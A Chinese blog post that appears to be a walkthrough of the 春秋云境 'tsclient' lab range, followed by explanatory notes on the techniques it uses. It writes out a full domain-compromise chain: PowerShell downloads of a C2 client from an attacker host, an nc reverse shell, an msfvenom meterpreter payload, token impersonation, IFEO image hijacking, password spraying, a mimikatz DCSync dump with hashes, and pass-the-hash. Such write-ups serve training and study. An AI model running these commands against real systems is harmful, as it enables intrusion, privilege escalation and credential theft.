春秋云境-tsclient

春秋云境-tsclient

主要是实践一下 C2 和代理链

flag01

fscan 扫描

1433 端口存在 mssql 服务,弱口令

sa
1qaz!QAZ

直接上 MUDT,激活 xp_cmdshell

查看架构

echo %PROCESSOR_ARCHITECTURE%

Supershell 生成客户端,上传

powershell (New-Object System.Net.WebClient).DownloadFile('http://ip:3232/win_amd64.exe', 'C:\Users\Public\shell3.exe'

然后执行

powershell "C:\Users\Public\shell3.exe"

成功上线

下面上传 fscan 扫内网

start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.8.18     is alive
(icmp) Target 172.22.8.31     is alive
(icmp) Target 172.22.8.15     is alive
(icmp) Target 172.22.8.46     is alive
[*] Icmp alive hosts len is: 4
172.22.8.18:445 open
172.22.8.46:80 open
172.22.8.15:139 open
172.22.8.46:139 open
172.22.8.31:139 open
172.22.8.46:135 open
172.22.8.18:139 open
172.22.8.15:135 open
172.22.8.31:135 open
172.22.8.18:135 open
172.22.8.18:80 open
172.22.8.15:88 open
172.22.8.46:445 open
172.22.8.18:1433 open
172.22.8.15:445 open
172.22.8.31:445 open
[*] alive ports len is: 16
start vulscan
[*] NetInfo
[*]172.22.8.31
   [->]WIN19-CLIENT
   [->]172.22.8.31
[*] NetInfo
[*]172.22.8.46
   [->]WIN2016
   [->]172.22.8.46
[*] NetBios 172.22.8.31     XIAORANG\WIN19-CLIENT
[*] NetBios 172.22.8.15     [+] DC:XIAORANG\DC01
[*] NetInfo
[*]172.22.8.18
   [->]WIN-WEB
   [->]172.22.8.18
   [->]2001:0:14c9:d206:2029:3a74:d89d:81f4
[*] WebTitle http://172.22.8.18        code:200 len:703    title:IIS Windows Server
[*] NetInfo
[*]172.22.8.15
   [->]DC01
   [->]172.22.8.15
[*] NetBios 172.22.8.46     WIN2016.xiaorang.lab                Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.8.46        code:200 len:703    title:IIS Windows Server
[+] mssql 172.22.8.18:1433:sa 1qaz!QAZ
已完成 16/16
[*] 扫描结束,耗时: 10.0037455s

可以看到几台机器

172.22.8.31 win19
172.22.8.46 IIS win2016
172.22.8.18 入口机
172.22.8.15 DC01

接下来先尝试提权,传 winPEAS 枚举一下,注意要输出到文件中不然终端塞不下

.\winPEASx64.exe > winpeas.txt

得到的文件下载下来看,由于这个文件是保留着 winpeas 输出的颜色信息的,所以人类比较难读,可以让 ai 读一下

可以看到扫出的洞还是比较多,当然我们主要关注提权相关

可以看到拥有 SeImpersonatePrivilege 权限,我们可以验证一下

whoami /priv

这个权限开启可以打 PrintSpoofer

.\PrintSpoofer64.exe -i -c cmd

可以看到能够提权成功,当然我们的 shell 是 rssh shell,可能继承不了这个权限

可以直接在 vps 上做监听,然后传个 nc 上去弹 shell

.\PrintSpoofer64.exe -c ".\nc64.exe ip 9999 -e cmd.exe"

然后再运行一次 shell 就能上到 C2

我这里上到 C2 之后连不上交互终端,研究了一下搞不定,那索性直接用 shell 了

拿 flag1

flag02

这里提示关注 user sessions

quser 命令可以列出当前机器上的所有登录会话

qwinsta 命令可以看到这些会话的相关信息

可以看见一个 john 用户,rdp-tcp 表示这是一个远程桌面登录

在 rdp 会话中,可能会存在通过 rdp 重定向过来的共享磁盘,这个重定向通道就是 tsclient

同时它也是远程计算机给本机分配的名称

rdp 登录会将 token 留在内存中,我们可以使用 msf 的 incognito 模块获取并伪造用户

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=ip LPORT=9998 -f exe -o meter64.exe

生成一个符合版本的木马,这里建议 stageless,不然可能会出问题

随后开启监听

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST 0.0.0.0
set LPORT 9998
run

成功连接

随后使用 incognito 模块,并列出用户 token

use incognito
list_tokens -u

可以看到 John 的 token 就在此列,尝试伪造

impersonate_token WIN-WEB\\John

随后拿 cmd shell

查看 tsclient 挂载的磁盘

net use

访问磁盘

发现提示信息,给了一个用户的账密和 hijack image 提示,也就是映像劫持

xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#

先拿域用户账密做密码喷洒,这里要先代理出来

# VPS
iox proxy -l 9995 -l 1080

# 靶机
iox.exe proxy -r VPS:9995

随后 proxychains 配置 socks5,然后使用 netexec

proxychains nxc smb 172.22.8.1/24 -d xiaorang.lab -u Aldrich -p 'Ald@rLMWuy7Z!#' 2>/dev/null

发现几台机子都显示 STATUS_PASSWORD_EXPIRED,这表示用户名 + 密码是正确的,但该账户的密码已经过期

解决办法是使用 impacket-changepasswd(旧名为 smbpasswd)修改密码,改域用户密码目标就是域控,如果只改单台机子目标就是对应机子

proxychains impacket-changepasswd -newpass 'xn@1234' xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 2>/dev/null

随后再次喷洒看看

可以看到能够正常认证了

我的 wsl2 没有 x11 server,所以配置 proxifier 在 win 的 rdp 做连接

action 选择配置好的 socks5 服务器

随后通过 mstsc.exe 连接,需要注意登录凭证格式

Aldrich@xiaorang.lab
xn@1234

试了一下只有 46 这台机子开了 rdp

接下来就是应用前面的提示做映像劫持,这一块没研究过先跟着 wp 打

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

初步看是改注册表把放大镜的 exe 换成 cmd,再通过高权限账户打开

随后锁定用户,在右下角打开放大镜,就能提权

随后拿到 flag02

flag03

随后挂在磁盘,传马,Supershell 给跳板机开监听,然后回连

成功连接

随后上传 SharpHound 收集信息,BloodHound 看域环境

.\SharpHound.exe -c All --zipfilename domain_loot.zip

这里踩了个坑,SharpHound 最好使用 Bloodhound 配套版本,路径在 BloodHound安装路径\resources\app\Collectors,否则可能出现导入数据卡住的情况

可能是一个版本兼容性的问题,我的 bloodhound-legacy 好像比较旧

可以看到我们可以通过 RDP 到域计算机 WIN2016,这台主机的机器账号 WIN2016$ 在 Domain Admins 组内

这一意味着我们只要抓一下 WIN2016$ 的哈希,然后 DCSync 就能拿下域,再 pth 到域管

.\mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
mimikatz(commandline) # lsadump::dcsync /domain:xiaorang.lab /all /csv
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
502     krbtgt  3ffd5b58b4a6328659a606c3ea6f9b63        514
1000    DC01$   9d2d90deb94396ee3ac1638c1f9c7ba5        532480
500     Administrator   2c9d81bdcf3ec8b1def10328a7cc2f08        512
1103    WIN2016$        738c23eb93432bd473c2517f250af9f1        16781312
1104    WIN19-CLIENT$   2f24bba22e34b5eaeee36b4eea154401        16781312
1105    Aldrich 118baa2d5e2a3fe5e11f795655712e55        512

随后 pth 一下

proxychains impacket-psexec xiaorang.lab/Administrator@172.22.8.15 -hashes aad3b435b51404eeaad3b435b51404ee:2c9d81bdcf3ec8b1def10328a7cc2f08 2>/dev/null

问题与总结

PrintSpoofer 与 Potato 家族

最开始的提权里,我们发现 SeImpersonatePrivilege 权限开启,于是使用 PrintSpoofer 来做提权

这个权限的作用是允许一个进程模拟(Impersonate)另一个用户的访问令牌(Token),它实际并不表明某种提权方式可用,而是一个提权的前置条件。普通用户在拥有此权限时,就可以尝试利用系统服务或进程的 Token 来获得更高权限。

PrintSpoofer 就可以利用这个权限,它的原理是:

  1. PrintSpoofer 利用 Print Spooler 服务,向系统写入恶意 DLL。Print Spooler 是 SYSTEM 权限服务,在加载 DLL 时,DLL 就会在 SYSTEM 权限下执行。
  2. 普通用户不能直接让 SYSTEM 运行自己的代码,但如果用户有 SeImpersonatePrivilege 权限,PrintSpoofer 可以通过该权限在加载 DLL 后立即调用 模拟 SYSTEM Token 执行代码。

这个过程中会发现,PrintSpoofer 实际上不是完全依赖 SeImpersonatePrivilege 权限,它在没有这个权限是也能依靠服务去加载 dll,只不过拥有权限后就能直接模拟 token ,更加灵活地执行命令或脚本。这种提权方式的硬性条件实际上是 Spooler 服务有没有开启,用户能不能访问

Get-Service Spooler

而 Potato 家族就是另外一些可以利用这个权限的提权工具,他们的原理是:

  1. 找到一个允许用户调用的高权限的 COM 对象(例如上面的 Print Spooler COM)
  2. 调用 COM 接口触发高权限服务生成 Token
  3. 利用 SeImpersonatePrivilege 模拟 token
  4. 如果有 SeAssignPrimaryTokenPrivilege,可以创建真正的 SYSTEM 权限进程

可以发现这个过程和 PrintSpoofer 是一致的,我从文章中看到的说法是 PrintSpoofer 实际上就是 Badpotato。

当然,其它的 potato 会利用更多不同的服务,也更加灵活

rdp 登录用户为什么可伪造

首先我们要明白 rdp 登录时发生了什么

RDP 登录属于交互式登录,会创建完整的登录会话。当用户通过 RDP 登录时,会先通过 LSASS 验证凭据,通过后创建 Logon Session 和 Access Token,随后启动用户进程

在这个过程中,Logon Session 会存储一些关联的凭据缓存,以及完成后,用户进程例如 explorer.exe cmd.exe 等都会带着用户的 token。msf 的 incognito 扩展实际上就是利用了这个机制,通过枚举系统中的 token,再使用目标 token 调用 Impersonate API,就能模拟用户进行操作

使用 mimikatz 也能完成类似操作

枚举登录会话
sekurlsa::logonpasswords 
列出可模拟token
token::list
模拟token
token::impersonate /user:Administrator

映像劫持

利用 windows 原生的程序调试机制来进行权限提升和维持的一种方式

映像劫持了利用的是 IFEO(Image File Execution Options),它是微软为开发者提供的调试功能,允许程序启动时附加调试器,它的核心注册表路径是

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

当 windows 创建进程时,会检查目标程序是否有 IFEO 项,如果存在且包含名为 Debugger 的字符串值,系统就会放弃启动原程序,转而启动 Debugger 指定的程序,并将原程序完整路径作为命令行参数传入

如果能够找到高权限运行的进程,就可以通过这个方式做提权,也可以当作后门使用

经典的利用就是在登录页面的轻松使用模块,会通过 SYSTEM 权限调用进程,例如放大镜:

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

其它的几个应用

  • sethc.exe 粘滞键 / osk.exe 屏幕键盘 / narrator.exe 讲述人
  • utilman.exe 辅助功能管理器(Win+U)/ displayswitch.exe 显示切换(Win+P)

普通用户的注册表也可写,路径为 HKCU\SOFTWARE...,但是无法提权,可以用于持久化后门

iox 实现多层代理

主要是搞清楚多层 socks5 的具体操作

假设环境

攻击机(本地) 
    ↓
公网VPS(1.2.3.4) 
    ↓
边界机(192.168.10.5)
    ↓
核心区主机(192.168.20.10)

首先 vps 开启 socks5 服务端

./iox proxy -l 9995 -l 1080

随后边界机连接 socks5,并开启服务端接收核心区主机发送

./iox proxy -r 1.2.3.4:9995 &
./iox proxy -l 7070 -l 1081

核心区主机连接 socks5

./iox proxy -r 192.168.10.5

随后在 proxychains 或者 proxifier 中按照顺序依次往下写就行了

1.2.3.4:1080
192.168.10.5:1081

为什么提权后可以抓取到机器账号/域管的哈希

在这道题目中,Aldrich 是一个域账号,是全域通用的,它存放在域控的 AD 数据库中。在 bloodhound 中我们可以看到一条路径

Aldrich@xiaoranglab --CanRDP-》 WIN2016.XIAORANG.LAB

这条路径表明的是 WIN2016 这台机器具有 RDP 权限,且 Aldrich 这个域账户在 rdp 登录的白名单中,它实际上指示的是能够通过这个账号 rdp 登录到这台机器,但是并不意味着拿到了这个机器账号

在 bloodhound 中域机器节点不会展示其账号,可以在节点信息中详细查看,这台机器的机器账户是 WIN2016$,而图中路径

WIN2016.XIAORANG.LAB --MemberOf-》 DOMAIN ADMINS@XIAORANG.LAB

实际上代表的是 WIN2016$ 这个机器账户身份是域管

而当我们提权到 SYSTEM(或者劫持到 NETWORK SERVICE)时,我们的外出认证身份就代表的是本机机器账户,也就是 WIN2016$

这也是为什么我们提权到 SYSTEM 后就能够通过 mimikatz 抓到全域的哈希

posted @ 2026-06-05 17:02  xNftrOne  阅读(15)  评论(0)    收藏  举报